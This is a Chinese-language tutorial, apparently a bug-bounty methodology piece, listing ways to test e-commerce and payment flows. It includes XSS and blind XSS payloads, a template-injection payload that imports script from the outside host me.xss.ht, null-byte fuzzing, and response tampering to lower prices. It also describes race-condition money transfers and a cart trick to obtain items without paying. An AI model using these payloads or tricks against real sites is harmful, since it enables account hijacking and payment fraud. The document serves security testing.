前言
本文为本系列的第二篇,前篇有:
正文
第八种方法
尝试在所有的字段中注入XSS有效载荷,比如: "><svg/onload=prompt(1)>
或者Blind XSS 的有效载荷,比如: "><img src=//me.xss.ht>
,尝试获取XSS
POST /buying-something HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0 Content-Type:application/x-www-form-urlencoded Origin: https://www.company.com Content-Length: Number Quantity=1&price=10¤cy=dollar&token=************ &add="><img src=//me.xss.ht>
第九种方法
尝试注入blind xss或者blind 模板注入的有效载荷,例如:(主要是 Angular
或者 Vue.js
)
在User-Agent中:{{constructor.constructor ('import("http://me.xss.ht")')()}}
POST /buying-something HTTP/1.1 Host: www.company.com User-Agent: Mozilla/5.0"><img src=//me.xss.ht> Content-Type: application/x-www-form-urlencoded Origin: https://www.company.com Content-Length: Number Quantity=1&price=10¤cy=dollar&token=************& add=egy
第十种方法
尝试在所有的输入字段中插入以下:
0x00 ➡️0x2F 0x3A ➡️0x40 0x5B ➡️0x60 0x7B ➡️0xFF
比如: Quantity=%00
或者 Quantity=%FF
可能会导致
- 信息泄露
- 绕过黑名单
- 账户劫持
- 内存崩溃
第十一种方法
尝试在参数的所有字段值中插入大的字符或数字,例如Quantity=XXX 50.000+ XXX
,又例如abc.com/search/?q=<many character>
可能造成敏感信息泄露
第十二种方法
尝试操纵响应以引起错误
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://www.company.com Access-Control-Allow-Credentials: true Content-Type: application/json; charset=utf-8 Content-Length: length { "price" : 0.10 , "quantity" : 1 }
第十三种方法
如果有资金从银行账户1转到银行账户2,例如http://comapny.com/transfer?from=1&to=2&amount=10
,尽量使用竞态条件
复现步骤:
- 从账户1向账户2转账的时候,例如:
http://comapny.com/transfer?from=1&to=2&amount=10
- 拦截请求,将其转发给Turbo Intruder
- 使用Race File作为
Race Condition
第十四种方法
允许用户在支付物品时改变订单的应用程序,如果在过程结束时没有验证,也可能存在漏洞。
复现步骤:
- 使用Firefox浏览器,添加物品到购物车,通过付款页面,然后在此停止
- 使用Chrome,然后添加新的物品到购物车
- 回到Firefox浏览器,完成支付流程,可能你会白嫖了一个物品